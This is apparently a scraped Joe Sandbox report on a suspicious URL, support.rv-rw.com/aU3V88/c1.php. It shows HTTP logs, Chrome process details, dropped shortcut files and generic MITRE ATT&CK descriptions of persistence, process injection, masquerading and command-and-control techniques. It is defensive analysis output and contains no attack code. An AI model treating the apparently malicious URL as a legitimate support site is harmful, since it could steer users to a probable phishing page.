2025-01-13 00:39:23 UTC	621	OUT	GET /aU3V88/images/ajax-loader.gif HTTP/1.1 Host: support.rv-rw.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://support.rv-rw.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:39:23 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:39:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 3783 Content-Type: image/gif
2025-01-13 00:39:23 UTC	3783	IN	Data Raw: 47 49 46 38 39 61 20 00 20 00 f5 19 00 60 60 60 0c 0c 0c 00 00 00 e8 e8 e8 f0 f0 f0 d0 d0 d0 7e 7e 7e fa fa fa f6 f6 f6 e6 e6 e6 fc fc fc 92 92 92 86 86 86 e2 e2 e2 a0 a0 a0 3e 3e 3e c4 c4 c4 6c 6c 6c ee ee ee ec ec ec b8 b8 b8 56 56 56 9a 9a 9a ae ae ae 4a 4a 4a c8 c8 c8 dc dc dc d8 d8 d8 ce ce ce b0 b0 b0 1e 1e 1e 2c 2c 2c 4c 4c 4c 7c 7c 7c 5e 5e 5e a8 a8 a8 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 fe 1a 43 72 65 61 74 65 64 20 77 69 74 68 20 61 6a 61 78 6c 6f 61 64 2e 69 6e 66 6f 00 21 Data Ascii: GIF89a ```~~~>>>lllVVVJJJ,,,LLL\|\|\|^^^!NETSCAPE2.0!Created with ajaxload.info!

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 3660, Parent PID: 5524

General

Target ID:	0
Start time:	19:38:51
Start date:	12/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6484, Parent PID: 3660

General

Target ID:	2
Start time:	19:38:54
Start date:	12/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1736 --field-trial-handle=1980,i,16412004675316672048,7965394202063150575,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 768, Parent PID: 5524

General

Target ID:	3
Start time:	19:39:01
Start date:	12/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://support.rv-rw.com/aU3V88/c1.php"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://support.rv-rw.com/aU3V88/c1.php

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
https://support.rv-rw.com/aU3V88/c1.php